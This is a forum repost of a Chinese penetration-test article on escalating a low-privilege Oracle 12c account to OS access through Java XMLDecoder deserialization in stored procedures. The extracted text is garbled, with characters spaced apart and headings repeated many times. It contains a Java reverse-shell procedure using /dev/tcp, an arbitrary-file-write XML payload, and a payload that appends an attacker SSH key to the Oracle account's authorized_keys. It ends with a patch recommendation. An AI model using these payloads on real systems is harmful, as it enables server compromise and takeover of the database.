搜索

[6351] 2019-12-13_Oracle数据库安全思考之xml反序列化

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-17
2019-12-13_Oracle数据库安全思考之xml反序列化 O r a c l e 数 据 库 安 全 思 考 之 x m l 反 序 列 化 E 安 全   2 0 1 9 - 1 2 - 1 3 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 4 c k 1 k N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 在 测 试 过 程 中 ， 碰 到 o r a c l e 数 据 库 ， 只 发 现 存 在 一 个 低 权 限 用 户 d m ， 由 于 权 限 不 足 无 法 进 一 步 获 取 关 键 数 据 ， 同 时 无 法 进 一 步 获 取 系 统 权 限 。 主 机 场 景 ： 运 行 服 务 器 ： c e n t o s   6 . 5 数 据 库 版 本 ： O r a c l e   D a t a b a s e   1 2 c   E n t e r p r i s e   E d i t i o n   R e l e a s e   1 2 . 2 . 0 . 1 . 0   -   6 4 b i t   P r o d u c t i o n 低 权 限 用 户 : T E S T E R 能 够 访 问 S Q L P L U S 终 端 ， 也 可 以 使 用 P L / S Q L 工 具 连 接 。 X M L 反 序 列 化 反 序 列 化 X M L 反 序 列 化 ， 可 以 描 述 一 个 J a v a   O b j e c t ， 以 及 用 来 构 建 O b j e c t 时 所 需 要 调 用 的 方 法 和 相 关 参 数 。 在 O r a c l e 中 ， 使 用 X M L D e c o d e r 类 重 新 组 装 X M L 序 列 化 后 的 对 象 ， 而 在 组 装 过 程 中 所 调 用 的 对 象 方 法 ， 没 有 被 O r a c l e   J V M 限 制 权 限 。 因 此 ， 可 以 使 用 X M L 反 序 列 化 构 建 一 个 F i l e W r i t e r 对 象 ， 并 调 用 其 w r i t e 方 法 ， 就 可 以 实 现 文 件 写 入 操 作 。 N o . 3 N o . 3 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 J a v a 存 储 过 程 存 储 过 程 O r a c l e 企 业 版 在 数 据 库 中 嵌 入 了 J a v a 虚 拟 机 ， O r a c l e 数 据 库 通 过 J a v a 存 储 过 程 支 持 J a v a 的 本 机 执 行 ， 存 储 过 程 是 发 布 到 S Q L 并 存 储 在 数 据 库 中 以 供 一 般 使 用 的 J a v a 方 法 。 调 用 存 储 过 程 在 互 通 性 上 面 ， O r a c l e 数 据 库 中 的 J a v a 完 全 符 合 J a v a 语 言 规 范 （ J L S ） ， 并 提 供 了 通 用 的 ， 面 向 对 象 的 编 程 语 言 的 所 有 优 点 。 另 外 ， 与 P L / S Q L 一 样 ， J a v a 提 供 对 O r a c l e 数 据 的 完 全 访 问 权 限 。 结 果 ， 任 何 用 P L / S Q L 编 写 的 过 程 也 可 以 用 J a v a 编 写 。 N o 4 N o 4 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 通 过 通 过 S Q L 终 端 查 询 终 端 查 询 j a v a 版 本 版 本 c r e a t e   f u n c t i o n   g e t _ j a v a _ p r o p e r t y ( p r o p   i n   v a r c h a r 2 )   r e t u r n   v a r c h a r 2   i s   l a n g u a g e   j a v a   n a m e   ' j a v a . n a m e . S y s t e m . g e t P r o p e r t y ( j a v a . l a n g . S t r i n g )   r e t u r n   j a v a . l a n g . S t r i n g ' ; N o . 5 N o . 5 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 J V M 的 基 本 保 护 的 基 本 保 护 S E T   s c a n   o f f c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u r c e   n a m e d   R e v e r s e S h e l l   a s i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   R e v e r s e S h e l l {     p u b l i c   s t a t i c   v o i d   g e t C o n n e c t i o n ( S t r i n g   i p ,   S t r i n g   p o r t )   t h r o w s   I n t e r r u p t e d E x c e p t i o n ,   I O E x c e p t i o n {           R u n t i m e   r   =   R u n t i m e . g e t R u n t i m e ( ) ;           P r o c e s s   p   =   r . e x e c ( n e w   S t r i n g [ ] { " / b i n / b a s h " , " - c " , " 0 < & 1 2 6 - ; e x e c   1 2 6 < > / d e v / t c p / "   +   i p   +   " / "   +   p o r t   +   " ; / b i n / b a s h   < & 1 2 6   > & 1 2 6   2 > & 1 2 6 " } ) ;             S y s t e m . o u t . p r i n t l n ( p . t o S t r i n g ( ) ) ;           p . w a i t F o r ( ) ;     } } / c r e a t e   o r   r e p l a c e   p r o c e d u r e   r e v e r s e _ s h e l l   ( p _ i p   I N   V A R C H A R 2 , p _ p o r t   I N   V A R C H A R 2 ) I S   l a n g u a g e   j a v a   n a m e   ' R e v e r s e S h e l l . g e t C o n n e c t i o n ( j a v a . l a n g . S t r i n g ,   j a v a . l a n g . S t r i n g ) ' ; 由 于 O r a c l e   J V M 实 现 了 基 于 细 粒 度 策 略 的 安 全 性 来 控 制 对 O S 和 文 件 系 统 的 访 问 ， 因 此 该 方 法 将 不 起 作 用 。 从 低 权 限 帐 户 执 行 此 过 程 会 导 致 错 误 。 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
请 注 意 ， 错 误 堆 栈 包 含 缺 少 权 限 和 必 要 的 命 令 才 能 授 予 访 问 权 限 O R A - 2 9 5 3 2 ： J a v a   c a l l   t e r m i n a t e d   b y   u n c a u g h t   J a v a   e x c e p t i o n N o . 6 N o . 6 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 带 来 的 问 题 反 序 列 化 带 来 的 问 题 X M L 反 序 列 化 J a v a 中 存 在 X M L 序 列 化 和 反 序 列 化 功 能 ， 以 支 持 使 用 标 准 化 格 式 （ 在 本 例 中 为 X M L ） 的 跨 平 台 信 息 交 换 。 为 此 ， j a v a . b e a n s 库 包 含 两 个 类 ： X M L E n c o d e r 和 X M L D e c o d e r ， 它 们 用 于 将 J a v a 对 象 序 列 化 为 X M L 格 式 ， 并 在 以 后 反 序 列 化 该 对 象 。 典 型 的 反 序 列 化 漏 洞 依 赖 于 接 受 和 反 序 列 化 任 意 输 入 的 服 务 的 存 在 。 但 是 ， 如 果 有 权 访 问 可 以 在 用 户 架 构 中 创 建 对 象 的 低 特 权 O r a c l e 帐 户 （ 具 有 连 接 和 资 源 的 用 户 ） ， 则 可 以 创 建 反 序 列 化 存 储 过 程 。 例 如 ： 创 建 一 个 账 号 T E S T E R ， 只 拥 有 C O N N E C T 、 R E S O U R C E 权 限 。 创 建 了 以 下 J a v a 类 “   D e c o d e M e ” 和 一 个 调 用 该 类 的 J a v a 存 储 过 程 ： c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u r c e   n a m e d   D e c o d e M e   a s i m p o r t   j a v a . i o . * ; i m p o r t   j a v a . b e a n s . * ; p u b l i c   c l a s s   D e c o d e M e {         p u b l i c   s t a t i c   v o i d   i n p u t ( S t r i n g   x m l )   t h r o w s   I n t e r r u p t e d E x c e p t i o n ,   I O E x c e p t i o n   {           X M L D e c o d e r   d e c o d e r   =   n e w   X M L D e c o d e r   (   n e w   B y t e A r r a y I n p u t S t r e a m ( x m l . g e t B y t e s ( ) ) ) ;             O b j e c t   o b j e c t   =   d e c o d e r . r e a d O b j e c t ( ) ;             S y s t e m . o u t . p r i n t l n ( o b j e c t . t o S t r i n g ( ) ) ;           d e c o d e r . c l o s e ( ) ;                   } } ; / C R E A T E   O R   R E P L A C E   P R O C E D U R E   d e c o d e m e   ( p _ x m l   I N   V A R C H A R 2 )   I S       l a n g u a g e   j a v a   n a m e   ' D e c o d e M e . i n p u t ( j a v a . l a n g . S t r i n g ) ' ; / 该 解 码 程 序 将 接 受 X M L 编 码 的 J a v a 的 任 意 字 符 串 ， 并 执 行 所 提 供 的 指 令 。 可 在 此 处 找 到 有 关 序 列 化 X M L 的 正 确 格 式 的 信 息 。 该 块 将 简 单 地 调 用 p r i n t l n 将 数 据 输 出 到 终 端 。 B E G I N d e c o d e m e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   ? > < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " >   < o b j e c t   c l a s s = " j a v a . l a n g . S y s t e m "   f i e l d = " o u t " >   < v o i d   m e t h o d = " p r i n t l n " > < s t r i n g > T h i s   i s   t e s t   o u t p u t   t o   t h e   c o n s o l e < / s t r i n g > < / v o i d > < / o b j e c t > < / j a v a > ' ) ; E N D ; /
反 序 列 化 过 程 将 会 绕 过 J V M 权 限 设 置 ， 并 允 许 用 户 在 O S 上 任 意 写 入 文 件 。 请 参 见 以 下 示 例 脚 本 ： B E G I N     d e c o d e m e ( '                               < j a v a   c l a s s = " j a v a . b e a n s . X M L D e c o d e r "   v e r s i o n = " 1 . 4 . 0 "   >                                     < o b j e c t   c l a s s = " j a v a . i o . F i l e W r i t e r " >                                           < s t r i n g > / t m p / t e s t . t x t   < / s t r i n g >                                           < b o o l e a n > T r u e < / b o o l e a n >                                           < v o i d   m e t h o d = " w r i t e " >                                                 < s t r i n g > t e s t < / s t r i n g >                                           < / v o i d >                                           < v o i d   m e t h o d = " c l o s e "   / >                                     < / o b j e c t >                               < / j a v a > ' ) ; E N D ; / 执 行 上 述 脚 本 将 在 / t m p 文 件 夹 中 创 建 一 个 名 为 “ t e s t . t x t ” 的 文 件 ： 因 此 ， 通 过 反 序 列 化 ， 可 以 绕 过 内 置 的 安 全 限 制 将 任 意 文 件 写 入 文 件 系 统 。 事 实 证 明 ， 不 仅 可 以 将 新 文 件 写 入 系 统 ， 还 可 以 覆 盖 或 附 加 O r a c l e 用 户 具 有 写 许 可 权 的 任 何 文 件 。 显 然 ， 这 会 对 数 据 库 产 生 严 重 影 响 ， 因 为 攻 击 者 可 能 会 覆 盖 关 键 文 件 （ 包 括 控 制 文 件 ） ， 这 可 能 会 导 致 成 功 的 拒 绝 服 务 攻 击 或 数 据 损 坏 。 但 是 ， 通 过 精 心 设 计 的 有 效 p a y l o a d （ p l / s q l 脚 本 ） ， 使 用 此 反 序 列 化 攻 击 以 O r a c l e 用 户 的 身 份 访 问 服 务 器 。 假 设 S S H 在 服 务 器 上 打 开 并 配 置 为 接 受 R S A 连 接 ， 则 以 下 有 效 负 载 会 将 R S A 令 牌 附 加 到 管 理 数 据 库 进 程 的 O r a c l e 帐 户 中 。 开 始 认 证 密 钥 ：
E G I N       d e c o d e m e ( '                                               < j a v a   c l a s s = " j a v a . b e a n s . X M L D e c o d e r "   v e r s i o n = " 1 . 4 . 0 " >                                                               < o b j e c t   c l a s s = " j a v a . i o . F i l e W r i t e r " >                                                                                 < s t r i n g > / h o m e / o r a c l e / . s s h / a u t h o r i z e d _ k e y s < / s t r i n g >           < b o o l e a n > T r u e < / b o o l e a n >                                                               < v o i d   m e t h o d = " w r i t e " >                                                                                 < s t r i n g > s s h - r s a A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B A Q C e d K Q P e o J 1 U e J E W 6 Z V k i u W A x B K W 8 F 4 f c 0 V r W x R 5 H E g a A c V o d h g c 6 X 7 k l y O W r J c e G q I C c C Z d 6 K + / l v I 3 x a E 2 s c J p R Z W l c J Q N C o Z M R f m l h i b q 9 I W M H 0 d m 5 L q L 3 Q M q r X z Z + a 2 d f N o h S d S m L D T a F H k z O G K E Q I w H C v / e 4 e / e K n m 0 f U W H e L 0 k 4 K u C n 3 M Q U N 1 H w o q o C c i R 0 D r B D O Y A K H x q p B v 9 r D n e C d v a S + t q l r 5 e S h j N l H v 1 Y z J G b 0 l Z Z l s n y 1 9 i s 8 C k h c Z 6 + O + U C K o B P r x a G s f i p s E I H 5 a P u 9 x V A 9 0 X g s a k h g 4 y o y 9 F L n E S + x m n V x K X 5 G H y i x i 3 q e W G D w B s A v h A A G L x O c 5 < / s t r i n g >                                                               < / v o i d >                                                               < v o i d   m e t h o d = " c l o s e "   / >                                                               < / o b j e c t >                                               < / j a v a >                                                 ' ) ; E N D ; / 执 行 后 ， 该 代 码 会 将 任 意 R S A 密 钥 附 加 到 O r a c l e 用 户 的 a u t h e n t i c a t e d _ k e y s 文 件 中 ， 以 O r a c l e 用 户 的 身 份 授 予 对 S S H 的 攻 击 。 O r a c l e 用 户 可 以 以 S Y S 身 份 访 问 数 据 库 ， 进 而 管 理 整 个 数 据 库 。 N o . 7 N o . 7 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 修 复 意 见 建 议 升 级 补 丁 版 本 ： 1 2 . 2 . 0 . 1 . 1 8 0 7 1 7 （ p 2 7 9 2 3 3 5 3 _ 1 2 2 0 1 0 _ L i n u x - x 8 6 - 6 4 . z i p ）
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理